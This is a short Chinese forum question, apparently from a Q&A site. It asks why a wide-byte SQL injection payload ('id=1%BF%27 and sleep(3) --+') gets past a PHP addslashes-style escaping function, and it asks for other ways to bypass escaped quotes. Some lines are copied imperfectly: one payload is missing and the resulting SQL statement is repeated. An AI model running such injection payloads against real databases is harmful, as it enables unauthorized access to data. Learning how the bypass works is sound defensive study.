作者:蓝色水气球_453 | 来源:互联网 | 2024-11-06 10:44
代码:1234567function check_addslashes($string){ $string = preg_replace('/'. preg_quote('\') .'/', "
代码:
1 2 3 4 5 6 7
| function check_addslashes($string)
{
$string = preg_replace('/'. preg_quote('\') .'/', "\\\\\", $string); //escape any backslash
$string = preg_replace('/\'/i', '\\'', $string); //escape single quote with a backslash
$string = preg_replace('/"/', "\\"", $string); //escape double quote with a backslash
return $string;
} |
程序中,对从客户端传递过来的参数都会使用check_addslashes函数对单引号和双引号进行转义
比如:
攻击者构造的payload:
最终的sql语句就变成了:
1
| SELECT * FROM users WHERE id='1\' and sleep(3) -- ' LIMIT 0,1 |
问题:
对于此种类型的防注入,可以怎样bapass呢?
google了下,
可以这样构造payload:
1
| id=1%BF%27 and sleep(3) --+ |
则最终的sql语句:
1
| SELECT * FROM users WHERE id='1\' and sleep(3) -- ' LIMIT 0,1 |
试了下,果然可以成功执行了。
但具体原因没讲,不明白。
不知道有谁能帮忙指点下其中的原理吗?
另外,还有没有别的方法可以成功绕过被转义的单双引号呢?